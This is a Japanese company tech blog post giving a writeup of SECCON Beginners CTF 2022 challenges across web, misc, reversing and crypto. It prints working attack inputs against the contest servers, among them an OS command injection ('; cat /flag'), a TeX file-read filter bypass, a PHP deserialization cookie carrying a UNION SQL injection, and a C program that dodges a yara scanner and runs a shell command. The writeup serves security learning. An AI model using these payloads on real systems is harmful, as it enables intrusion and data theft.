NIKKEI TECHNOLOGY AND CAREER

SECCON Beginners CTF 2022 Writeup

Header

こんにちは。ソフトウェアエンジニアの淵脇です。先日SECCON Beginners CTF 2022というセキュリティ系のコンテスト(CTF, Capture The Flag) が開催されました。このCTFに日経のエンジニア3名(淵脇、西馬、藤田)でチームを組んで参加して最終的に25位/891チームという成績を収めましたので、Writeupを書いてみたいと思います。

0. CTFとは? Writeupとは?

CTFとはWebや実行ファイル、暗号など色々な題材にセキュリティホールが予め仕込まれており、そのセキュリティホールを見事突破すると ctf4b{[\x20-\x7e]+} という文字列 (Flag) が手に入るというまさにCapture the Flag という競技です。

また、 CTF は参加するだけでなくその後の情報発信も重要な文化の一つです。セキュリティ業界全体のレベルアップを推進するために、自分たちが通した問題の解き方をブログ等で公開するものが Writeup です。 というわけで本番中に通した以下の問題の writeup を公開いたします。

目次

1. web

各Web問では問題サーバのURLとソースコードが提供されるため、ソースコードを解析しながらフラグ獲得を目指す流れになります。

1-1. Util

問題サーバに接続するとIPアドレスを入力するための入力欄とcheckボタンが表示されます。 IPアドレスを入力してボタンを押すとそのIPアドレスにpingを飛ばすというツールでした。
Util問題

ではソースコードを読み解いていきます。

  1. まずDockerfileを確認します。
  • Flag文字列のようなものとしてコンテナに[flag_乱数]のファイル名が作成されています。
  • サーバ上にあるFlagのファイル名を特定して中身を表示すれば解けるということがわかります。
RUN echo "ctf4b{xxxxxxxxxxxxxxxxxx}" > /flag_$(cat /dev/urandom | tr -dc "a-zA-Z0-9" | fold -w 16 | head -n 1).txt
  1. 続いて、メインプログラム(main.go)を確認します。
  • パラメータ"Address"に渡された文字列をそのままpingの引数に指定しています。
  • リクエストパラメータがそのままOSコマンドの引数に渡されているため、OSコマンドインジェクションの脆弱性があることがわかります。
r.POST(“/util/ping”, func(c *gin.Context) {
    var param IP
    if err := c.Bind(&param); err != nil {
        c.JSON(400, gin.H{“message”: “Invalid parameter”})
        return
    }
    commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
    result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
    c.JSON(200, gin.H{
        "result": string(result),
    })
})
  1. では、Chromeで通常操作をした場合の挙動を見ていきます。
  • Chromeのデベロッパーツールでリクエスト内容を見ることができます。
  • 下のスクリーンショットのpingというところを右クリックして、Copyからcurlコマンドの雛形を得ることができます。
Util_Chrome
$ curl  【URL】〜中略〜 --data-raw ‘{"address":"127.0.0.1"}’
  1. 最後に、実際の攻撃コマンドを用意します。
  • Linuxのシェルコマンドは、セミコロンなどにより1行で複数行のコマンドが実行できます。
  • したがって、本来のパラメータであるIPアドレスに加えて、"; ls"や"; cat"により、任意のコマンドを実行させることができるようになります。
  • 下記のコマンドを実行することで、フラグをゲットすることができます。(乱数値は環境によります)
$ curl  【URL】〜中略〜 --data-raw ‘{"address":"127.0.0.1; ls /"}’
$ curl  【URL】〜中略〜 --data-raw ‘{"address":"127.0.0.1; cat /flag_乱数"}’

【補足】メインプログラムを基に実際にサーバ上で実行されるコマンドに置き換えると以下のようになります。

  • 前提として、main.goのcommndは次のとおりです。
    • "ping -c 1 -W 1 " + param.Address + " 1>&2"
  • 本来のパラメータが渡された場合(127.0.0.1)、commndは次のようになります。
    • ping -c 1 -W 1 127.0.0.1 1>&2
  • 攻撃コマンド(ls)の場合、commndは次のようになります。
    • ping -c 1 -W 1 127.0.0.1; ls / 1>&2
  • 攻撃コマンド(cat)の場合、commndは次のようになります。
    • ping -c 1 -W 1 127.0.0.1; cat /flag_乱数 1>&2
  • このように、本来のpingに加えて、lsやcatが実行できるようになったことがわかります。

1-2. textex

問題サーバにアクセスすると、数式の記述等でよく使われる文書整形ソフト「TeX」のサンプルコードと思われるものと、「toPDF」と書かれたボタンが表示されています。
そのまま「toPDF」を押すと、サンプルコードがそのままTeXとして解釈されPDFファイルが表示されます。

textex問題1

ではソースコードを読み解いていきます。

  1. ざっとファイル構成を見ていきます。
  • nginxは単純なWebサーバです。
  • appフォルダ配下にあるuwsgiはPythonで実行されるアプリケーションサーバです。

2. 次に、 appフォルダ配下を見ていきます。

  • 直下に「flag」というファイルがあり、これがフラグであることがわかります。
  • ただし、提供されたコードは当然マスクされています。
  • 問題サーバ上からこのファイルを閲覧することができればフラグ獲得となることが推測できます。
********************FLAG********************
  1. 続いて、メインプログラムであるapp.pyを見ていきます。
  • 注目すべきは以下の3行です。
  • リクエストパラメータに指定されたtex_codeに"flag"という文字列が入力されたら空文字に置き換えています。
# No flag !!!!
if "flag" in tex_code.lower():
    tex_code = ""
  1. ここで一度解答の方針を整理します。
  • アプリケーションサーバ直下に「flag」ファイルが設置されている。
  • tex_codeに「flag」という文字列を解釈させることが解答のヒントであると推測できる。
  • この2つのことから、tex_codeにflagという文字列を解釈させて、サーバ上のファイルを参照させる事ができれば、フラグを獲得できるかも知れないという予測が成り立ちます。
  1. 文書整形ソフト「TeX」の構文を調べていきます。
  • 「TeX 外部ファイル」などでググると、「\input」というコードで外部文書ファイルを読み込めることがわかります。
  • しかし、そのままでは前述のチェック処理で空文字に置き換えられます。
\documentclass{article}
\begin{document}
aaa
\input{flag.txt}   
\end{document}
  1. 続いて、flag文字列のチェック処理を回避していきます。
  • 「TeX 変数」などでググると、「\newcommand」というコードで文字列を変数として設定できることがわかります。
  • flagという直接的な文字列が回避できれば良いので、/fという変数にfを入れて後続にlagという文字列を足して{/f}lagという文字列を指定することとしました。
  • 実際にローカル環境で試してみるとフラグを取得できました。(起動コマンド:$ docker-compose up -d
  • しかし、なぜかサーバ上のファイルは取得できませんでした。
  • ちなみに、同列に設置してあるrequirements.txtやuwsgi.iniはサーバ上のファイルを正常に読み込めていたため、フラグに使われる制御文字の影響かもしれないと推測できました。
\documentclass{article}
\newcommand{\f}{f}
\begin{document}
aaa
\input{{\f}lag}
\end{document}
  1. 気を取り直して他の方法を模索してみます。
  • 思考錯誤を繰り返した結果、プログラムのコードをTeXに埋め込む際、verbatimというパッケージが使えるということがわかりました。(TeXのライブラリはCTANというところで管理されているようです。)
  • さらに、verbatiminputというコマンドを使うことで外部ファイルをそのままの文字列で取り込める事がわかりました。
  • そして以下のコードを入力した結果、フラグをゲットできました。
\documentclass{article}
\usepackage{verbatim}
\newcommand{\f}{f}
\begin{document}
This is a sample.
\verbatiminput{{\f}lag}
\end{document}
  1. ちなみに、この問題はTeXが構文エラーを検知すると、ERRORamen画面が表示されるので、挑戦中は何度もラーメン画像を見させられました。ごちそうさまでした。
textexError
  1. 作問者の解説で紹介されていたリポジトリ「PayloadsAllTheThings」が今後のセキュリティ学習に役立てられそうです。

1-3. gallery

問題サーバにアクセスすると、ファイルの拡張子を指定するプルダウンと画像ファイルを表示するためのリンクが表示されます。 プルダウンにはjpeg, png等があり、プルダウンを変更すると画像ファイルの一覧が更新されます。

gallery
  1. ざっとファイル構成を見ていきます。
  • フロントはシンプルなnginx
  • バックエンドはgo環境
  1. handlers.goのコードを読んでみます。
  • いかにもフラグに関係ありそうな以下のコードが見つかります。
  • リクエストパラメータ(GET)のflag_extensionflagという文字列があれば空文字に置き換えています。
  • フラグに使用されるファイル名にflagという文字列が含まれていそうだと推測します。
	fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
	fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
	if fileExtension == "" {
		fileExtension = "jpeg"
	}
  1. 実際に試してみます。
gallery
  1. PDFファイルを取得してみます。
??????????? 〜 中略 〜 ?????????
  1. 原因を調べるためさらにソースコードを読み込んでみます。
  • main.goに怪しげでスーパーセキュアな閾値が設定されています。
  • レスポンスサイズが閾値を超えた場合に?に置き換えるようです。
func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}

	w.ResponseWriter.Write(data[:length])
	return length, nil
}

func middleware() func(http.Handler) http.Handler {
	return func(h http.Handler) http.Handler {
		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
			h.ServeHTTP(&MyResponseWriter{
				ResponseWriter: rw,
				lengthLimit:    10240, // SUPER SECURE THRESHOLD
			}, r)
		})
	}
}
  1. 閾値の指定について調べていきます。
  • HTTPの仕様(RFC7233)によると、Getパラメータの場合、Rangeヘッダにより応答サイズの範囲を指定できるようです。
  • curlコマンドの場合、-rオプションによりRangeヘッダを指定できます。
  • 2回に分割してファイルを取得した後に結合することでフラグゲットです。
$ curl -h all
 〜
 -r, --range <range>  Retrieve only the bytes within RANGE
 〜
$ curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -o output1.pdf -r 0-10239
$ curl https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -o output2.pdf -r 10240-
$ cat output1.pdf output2.pdf > flag.pdf

1-4. serial

問題サーバにアクセスすると、ログイン画面が表示されます。 ログイン後、TODOリストを管理するような機能があります。

serial_1 serial_2
  1. ざっとファイル構成を見ていきます。
  • アプリケーションはphpで実装されている
  • データベースエンジンにmysqlが使われている
  1. 初期データ投入(init.db)を見てみます。
  • 2_init.sqlを見ると、いかにもフラグなクエリが実行されています。
  • この値を見ることができればゴールなのでSQLに関連する問題であると推測できます。
INSERT INTO flags(body) VALUE("ctf4b{dummy flag!!!}");
  1. HTMLファイル(html)を見てみます。
  • 前記のflagsテーブルを参照するクエリはどこにもなさそうです。
  • SQLの問題といえば、脆弱性としては「SQLインジェクション」が考えられます。
  • ユーザ入力文字以外でSQLインジェクションが成立しそうな処理を探していきます。
  • しかし、ユーザ入力文字がクエリに渡される箇所ではフラグを取得するのに関わりそうな文字列がサニタイズされています。
  • (実際には大文字小文字を入れ替えれば通ると思うのでヒントだと思います。)
private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");
  1. SQL実行箇所を精査していきます。
  • サニタイズ処理が入っていない箇所を探していくと、database.phpfindUserByNameが怪しそうです。
    • $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
  • しかもわざわざバインド変数によってSQLインジェクション対策済みの関数findUserByNameNewまで用意してくれています。
  1. findUserByNameの呼び出し箇所を探してみます。
  • user.phplogin関数にクッキー__CREDからアンシリアライズした値をfindUserByNameに引き渡す処理を見つけました。
  • __CREDにはPHPのセッション値をBase64エンコードしてシリアライズしたものが格納されているようです。
    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
  1. では実際にクッキーのPHPセッション情報を見てみます。
  • ここでは、イギリスの政府通信本部(GCHQ)が公開しているThe Cyber Swiss Army Knifeこと「CyberChef」を活用していきます。
  • 問題サーバにログイン後、ChromeデベロッパーツールのApplicationタブからCookiesを参照すると、__CREDが登録されていることがわかります。
  • こちらのリンクからCyberChefでBase64デコードすると、PHPセッション情報が見られるようになります。
    • O:4:"User":3:{s:2:"id";s:4:"####";s:4:"name";s:8:"deadbeef";s:13:"password_hash";s:60:"【パスワードハッシュ】}
serial_3
  1. ここまでを一旦整理します。
  • findUserByName関数にはSQLインジェクションの脆弱性がある。
  • PHPセッション情報はクッキー__CREDに格納されている。
  • findUserByNameの引数には__CREDname属性を渡している。
  • つまり、__CREDname属性にSQLインジェクションが成立する攻撃コードを仕込むことで任意のクエリを実行できる可能性があるということがわかります。
  1. 実際に攻撃コードを用意してみます。
  • 初めのログイン時にdeadbeefでログインします。
  • 先程のCyberChefを使って__CREDのをBase64デコードします。
  • 下記のようにSQLインジェクションのコードを用意します。(nameの次のsの文字数を変え忘れないように)
O:4:"User":3:{s:2:"id";s:4:"####";s:4:"name";s:105:"ASDF' union all select id, (select body from flags) name, password_hash from users where name = 'deadbeef";s:13:"password_hash";s:60:"【パスワードハッシュ】";}
  1. 実際の攻撃手順は次のとおりです。
  • 攻撃コードをBase64エンコードします。
  • Chromeデベロッパーツール上でクッキーの値を書き換えます。
  • ブラウザの更新を押すと、クッキーの値が更に書き換わります。
  • 書き換わったクッキーをBase64デコードすると、name属性にフラグが入っていてフラグゲットです。

2. misc

このジャンルは特定の分類に属さない様々な問題が出題されます。

2-1. phisher

この問題はNetcatで接続した問題サーバに、www.example.comを画像文字認識(OCR)させる問題です。
ただし、ドットも含めてASCII文字をそのまま入力することが禁止されているため、見た目が似た文字を探して行く必要がありました。
ギリシャ文字、キリル文字、ユニコード文字の一覧とにらめっこしながら、似た文字をコツコツ探して行く問題でした。

ωωω․еχαмрIе․сом

2-2. H2

この問題はソースコード(main.go)を読むとフラグがx-flagというヘッダに入るとのことでしたので、WiresharkのCUI版「tshark」で雑にgrepしてフラグゲットです。

    if r.URL.Path == SECRET_PATH {
      w.Header().Set("x-flag", "<secret>")
    }
    w.WriteHeader(200)
$ tshark -r capture.pcap -V | grep x-flag

2-3. ultra_super_miracle_validator

ソースコードを入力するとコンパイルして実行してその結果を返してくれます。ただし、コンパイル後に yara でバイナリチェックが走り、 そのチェックに引っかかると実行してくれません。yara はバイナリ中にあるバイト列があるかどうかを条件式でかけるものですが、その条件式が

not (
  (A or B or C)
  and (D or not E)
  ...
)

みたいになっています。つまり、特定のバイナリ列をコンパイル後のバイナリに含ませたり含ませなかったりすることで yara のチェックをすり抜けることが必要です。 それさえできれば送信するソースコードの中に system("cat flag.txt") などと書いておくことで FLAG が取得できます。

整理の方針は色々ありますが、手で頑張りました。また特定のバイナリ列を含ませるために char 配列を使いました。

int main(){
char x1[] = {0xe3, 0x82, 0x89, 0xe3, 0x81, 0x9b, 0xe3, 0x82, 0x93, 0xe9, 0x9a, 0x8e, 0xe6, 0xae, 0xb5};
char x3[] = {0xe5, 0xbb, 0x83, 0xe5, 0xa2, 0x9f, 0xe3, 0x81, 0xae, 0xe8, 0xa1, 0x97};
char x4[] = {0xe3, 0x82, 0xa4, 0xe3, 0x83, 0x81, 0xe3, 0x82, 0xb8, 0xe3, 0x82, 0xaf, 0xe3, 0x81, 0xae, 0xe3, 0x82, 0xbf, 0xe3, 0x83, 0xab, 0xe3, 0x83, 0x88};
char x8[] = {0xe5, 0xa4, 0xa9, 0xe4, 0xbd, 0xbf};
char x9[] = {0xe7, 0xb4, 0xab, 0xe9, 0x99, 0xbd, 0xe8, 0x8a, 0xb1};
char x14[] = {0x83, 0x43, 0x83, 0x60, 0x83, 0x57, 0x83, 0x4e, 0x82, 0xcc, 0x83, 0x5e, 0x83, 0x8b, 0x83, 0x67};
char x25[] = {0x30, 0xc9, 0x30, 0xed, 0x30, 0xed, 0x30, 0xfc, 0x30, 0xb5, 0x30, 0x78, 0x30, 0x6e, 0x90, 0x53};
char x26[] = {0x72, 0x79, 0x75, 0x70, 0x70, 0xb9};
char x30[] = {0x79, 0xd8, 0x5b, 0xc6, 0x30, 0x6e, 0x76, 0x87, 0x5e, 0x1d};
char x31[] = {0x2b, 0x4d, 0x49, 0x6b, 0x2d, 0x2b, 0x4d, 0x46, 0x73, 0x2d, 0x2b, 0x4d, 0x4a, 0x4d, 0x2d, 0x2b, 0x6c, 0x6f, 0x34, 0x2d};	
char x34[] = {0x2b, 0x4d, 0x4b, 0x51, 0x2d, 0x2b, 0x4d, 0x4d, 0x45, 0x2d, 0x2b, 0x4d, 0x4c, 0x67, 0x2d, 0x2b, 0x4d, 0x4b, 0x38, 0x2d, 0x2b, 0x4d, 0x47, 0x34, 0x2d, 0x2b, 0x4d, 0x4c, 0x38, 0x2d, 0x2b, 0x4d};
char x36[] = {0x2b, 0x63, 0x6e, 0x6b, 0x2d, 0x2b, 0x64, 0x58, 0x41, 0x2d, 0x2b, 0x63};
char x37[] = {0x2b, 0x4d, 0x4c, 0x67, 0x2d, 0x2b, 0x4d, 0x4f, 0x63, 0x2d, 0x2b, 0x4d, 0x4d, 0x4d, 0x2d, 0x2b};
char x39[] = {0x2b, 0x66, 0x53, 0x73, 0x2d, 0x2b, 0x6c, 0x6e, 0x30, 0x2d, 0x2b, 0x67};


system("cat flag.txt");
}

2-4. hitchhike4b

この問題は問題サーバにNetcat接続すると、Pythonのヘルプ画面が表示されるというものでした。

# Source Code

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...
  • __name____main__だったらflag1、という条件であったため、__main__のヘルプを表示したところ、flag1が獲得できました。
  • __main__のヘルプを表示したところ、FILEにPythonファイル名の記載があったため、app_乱数(拡張子なし)でモジュールのヘルプを表示したところ、flag2が獲得できました。

3. reversing

ネットワーク上であるバイナリがサービスされており、ローカルで同じバイナリを解析して脆弱性を見つけて FLAG を取得する問題です。大抵は IDA などのデバッガを用いて解析します。

3-1. Quiz

バイナリファイルだけが提供されています。

$ file quiz
quiz: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3c3ecb93f6ca813352964076835ff6712fe9554e, for GNU/Linux 3.2.0, not stripped

$ strings quiz | grep ctf
【フラグ文字列】

まさかの初手でフラグをゲットしてしまいました。
Macだったので実行していませんでしたが、後にLinux環境で実行したら本来はクイズに答えてstringsに誘導してもらえる問題でした。

Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
    1) ELM  2) ELF  3) ELR
〜 略 〜
Q4. What is flag?
    フラグはなんでしょうか?

3-2. WinTLS

IDA で開くとこのように意味ありげな文字列が2個見つかります。

reverse 問題2 意味ありげな定数1

この定数をベースにロジックを追っていくとある一定の規則でMIXさせたものがFLAGであることがわかります。

package pwn02;

public class Main {
    public static void main(String[] args) {
        var s1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X".toCharArray();
        var s2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}".toCharArray();

        int p1 = 0;
        int p2 = 1;

        int[] d1 = {3, 2, 1, 3, 1, 2, 3};
        int[] d2 = {1, 2, 3, 1, 3, 2, 1, 2};

        var ret = new char[s1.length + s2.length];

        for (int i = 0; i < s1.length; i ++) {
            ret[p1] = s1[i];
            p1 += d1[i % d1.length];
        }
        for (int i = 0; i < s2.length; i ++) {
            ret[p2] = s2[i];
            p2 += d2[i % d2.length];
        }
        System.out.println(ret);
    }
}

3-3. Recursive

IDAで check といういかにも怪しい関数があるため追っていきます。

reverse 問題3 怪しい関数

すると答えの文字列と1文字ずつチェックしていく箇所が見つかります。ある文字のチェック中に違う文字列が入力されたと判定された場合処理を抜けてしまうので

  1. 正しい文字をメモ帳にメモする
  2. デバッガで zf フラグを立てる
  3. jz をスルーさせる

という単純作業を繰り返すことで FLAG が手に入ります。

3-4. Ransom

まず、Pcapファイルの中に暗号鍵らしきものがあるのでメモしておきます。 次にIDAあたりでランサムウェアと思われる実行ファイルを開いて見ていくと、sub_1381 及び sub145_E という関数が見つかります。

それぞれ愚直に読み解いていくと、暗号鍵を中間鍵に変換し、

reverse 問題4 暗号化ロジック1

その中間鍵を使ってファイルの中身を暗号化していることがわかります。

reverse 問題4 暗号化ロジック2

sub145_E は次のようなロジックになっています。

  1. 中間鍵配列の特定の要素のswap
  2. 中間鍵配列からあるロジックで0以上256の数値を計算
  3. 計算した数値と平文の文字をxor
  4. 平文の文字インデックスを1個進めて 1.に戻る

なので、Pcapファイルから中間鍵を生成し 1. の処理だけを最後まで進めた状態を作っておきます。その後このロジックを逆から順に丁寧になぞることで暗号文を復号化できFLAGが手に入ります。 以下のコードでは中間鍵配列を一旦最後の状態まで進める処理が getSwappedMidKey 、その後複合する処理が decrypt です。

package reverse03;

import java.util.Arrays;

public class Main {
    public static void main(String[] args) {
        String key = "rgUAvvyfyApNPEYg";
        var encoded = new int[] { 0x2b, 0xa9, 0xf3, 0x6f, 0xa2, 0x2e, 0xcd, 0xf3, 0x78, 0xcc, 0xb7, 0xa0, 0xde, 0x6d,
                0xb1, 0xd4, 0x24, 0x3c, 0x8a, 0x89, 0xa3, 0xce, 0xab, 0x30, 0x7f, 0xc2, 0xb9, 0x0c, 0xb9, 0xf4, 0xe7,
                0xda, 0x25, 0xcd, 0xfc, 0x4e, 0xc7, 0x9e, 0x7e, 0x43, 0x2b, 0x3b, 0xdc, 0x09, 0x80, 0x96, 0x95, 0xf6,
                0x76, 0x10 };

        int[] midKey = generateMidKey(key);
        System.out.println("midKey:" + Arrays.toString(midKey));

        int[] decoded = decrypt(midKey, encoded);
        System.out.println("decoded:" + Arrays.toString(decoded));
        System.out.println("used midKey:" + Arrays.toString(midKey));

        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < decoded.length; i++) {
            sb.append((char) decoded[i]);
        }
        System.out.println("decoded string:" + sb.toString());
    }

    private static int[] decrypt(int[] midKey, int[] output) {
        int v6 = getSwappedMidKey(midKey, output.length);
        System.out.println("swapped midKey:" + Arrays.toString(midKey) + " v6:" + v6);

        int[] input = new int[output.length];

        for (int i = input.length - 1; i >= 0; i--) {
            int v5 = (i + 1) % 256;

            input[i] = midKey[(midKey[v5] + midKey[v6]) % 256] ^ output[i];

            swap(midKey, v5, v6);
            v6 = (v6 - midKey[v5] + 256) % 256;
        }
        return input;
    }

    private static int getSwappedMidKey(int[] midKey, int n) {
        int v6 = 0;
        for (int i = 0; i < n; i++) {
            int v5 = (i + 1) % 256;
            v6 = (v6 + midKey[v5]) % 256;
            swap(midKey, v5, v6);
        }
        return v6;
    }

    private static int[] generateMidKey(String key) {
        int[] intKey = new int[16];
        for (int i = 0; i < 16; i++) {
            intKey[i] = key.getBytes()[i];
        }

        int[] midKey = new int[256]; // [rsp+20h] [rbp-110h] BYREF
        int v3; // [rsp+10h] [rbp-10h]
        int v6; // [rsp+1Ch] [rbp-4h]

        v6 = intKey.length;
        v3 = 0;
        for (int i = 0; i <= 255; ++i)
            midKey[i] = i;
        for (int j = 0; j <= 255; ++j) {
            v3 = (midKey[j] + v3 + intKey[j % v6]) % 256;
            swap(midKey, j, v3);
        }
        return midKey;
    }

    // sub_1349
    private static void swap(int[] a2, int i, int j) {
        // swap a[j] and a[v3];
        var tmp = a2[i];
        a2[i] = a2[j];
        a2[j] = tmp;
    }
}

3-5. please_not_debug_me

IDA で実行ファイルを開くとデバッガ対策が大量にあるのが見えます。静的にコードを読んでいくと実は暗号ロジックが前の問題であるRansomと同じであることがわかります(!)。暗号文は及び暗号鍵をアドレス 4060 及び 4020 から抜き出して同じ処理に入れるだけで FLAG が手に入ります。

4. crypto

以下では全て平文を MM, 暗号文を CC としておきます。cryptoでは大体のケースで CC 及び暗号化のアルゴリズムが与えられるのでそこから MM を求めると FLAG になっています。

4-1. CoughingFox

M[i]M[i] などと書いたら、ii 文字目の文字コードを整数化したものを表すとします。するとアルゴリズムは M[i](i+M[i])2+iM[i] \rarr (i + M[i])^2 + i という変換をした後、インデックスをシャッフルしたものです。なので、各 C[j]C[j] に対してこれが平文では ii 文字目であったと仮定すると C[j]ii\sqrt{C[j] - i} - iM[i]M[i] になるのでこの値は整数になります。なので各 jj に対して ii を総当りして復号できます。

4-2. PrimeParty

サーバ側でランダムに選ばれる巨大な素数 P,Q,R,SP, Q, R, S 及び攻撃者が任意に選べる素数 xx を用いて C=M65537modPQRSxC = M^{65537} \mod PQRSx というアルゴリズムです。(正確には攻撃者が任意に選べる素数は3個ありますが、1個で十分です。)このとき、P,Q,R,S,xP, Q, R, S, x は高い確率で互いに素なので M65537modx=CmodxM^{65537} \mod x = C \mod x という性質があります。このとき、十分大きい素数 xxd=655371modx1d = 65537^{-1} \mod x-1 というペアを計算しておけば、フェルマー小定理より M65537d=Cd=MmodxM^{65537 * d} = C^d = M \mod x です。FLAG の bit 数は 500bit 以下なので十分大きい xx を選ぶと modx\mod x を気にすることなくそのままFLAGになります。

4-3. Command

サーバーに秘匿された情報 keykey が用意されていて、C=AES(M,key,IV)C = AES(M, key, IV) 及び使用した IVIV をサーバに投げると MM で定義されたコマンド fizzbuzz, primes, getflag のいずれかが実行できます。さらに MM として fizzbuzz, primes のいずれかを投げると IVIV を乱数とした C=AES(M,key,IV)C = AES(M, key, IV) 及び使用した IVIV を教えてくれる機能がついています。(もちろん getflagCC は教えてくれません!) なので、目的は getflag の暗号文を偽装して投げることです。ちなみにこのAESはCBCモードと言われ、AES(M,key,IV)=AES(MIV,KEY)AES(M, key, IV) = AES(M \oplus IV, KEY) が成立します。なので、暗号文を教えてくれる機能を使って fizzbuzz の暗号文 CC' 及びその時使用した IVIV' の値を記録しておきます。すると, fizzbuzz の平文(バイト列に直して16進数値にしたもの)を $$M'$, getflag の平文を MM とおくと、CC' 及び IV=MMIVIV = M \oplus M' \oplus IV' をサーバーに投げるとその CC'getflag のコマンドとして認識されFLAGが取得できます。

4-4. Unpredictable Pad

サーバーに3回まで 2642^{64} 以下の数値を投げると、投げた数字のビット数を dd としたとき dd bitの乱数 RAND(d)RAND(d) を返してくれます。その後、C=MRAND(223)C = M \oplus RAND(223) を出力します。デフォルトではPythonの乱数はメルセンヌ・ツイスタなのですが、メルセンヌ・ツイスタは十分な乱数列サンプルが取得できたらこのようなライブラリを使うことで乱数列が予測できます。ただし、普通に入れると最大で 64364 * 3 bitまでしか乱数を取得することができないので足りません。しかし、負の数の絶対値はいくらでも大きくできるというセキュリティホールがあるため、十分絶対値が大きい負の数をいれてやることで大きい乱数サンプルを得ることができ、乱数列が予測できます。その予測した乱数列 RANDRAND'M=CRAND(223)M = C \oplus RAND'(223) を計算すると FLAG が取得できます。

5. welcome

この問題は、競技のコミュニケーションツールとして使われるDiscordを見ていればすぐに気がつくというWelcomeにふさわしい問題でした。開始と同時にDiscordのannaouncementsチャネルにフラグの文字列が記載されていたので、これをスコアサーバ側のページに貼り付けてクリアしました。(このパートの筆者はSECCON Beginners CTF のような競技会に初参加でスコアサーバ側の登録に手間取っていたため、少し時間を要しました)

おわりに

本記事では、社内のエンジニア3名による SECCON Beginners CTF 2022 の Writeup をお届けしました。

テクノロジーメディアを目指す日本経済新聞社ではデジタルサービスにおけるセキュリティを重視しており、CTFのような最新のセキュリティ技術に興味のあるエンジニアを随時募集しております。一緒にメディアの未来を作る仕事に興味のある方は、ぜひお気軽にご連絡ください。

https://hack.nikkei.com/jobs

日経のデジタルサービスを支える<セキュリティエンジニア>の募集ページはこちら。

https://herp.careers/v1/nikkei/vylwWfvk8ir-

淵脇誠
ENGINEER淵脇誠
西馬一郎
ENGINEER西馬一郎
藤田尚宏
SECURITY ENGINEER藤田尚宏

Entry

各種エントリーはこちらから

キャリア採用
Entry
新卒採用
Entry
カジュアル面談
Entry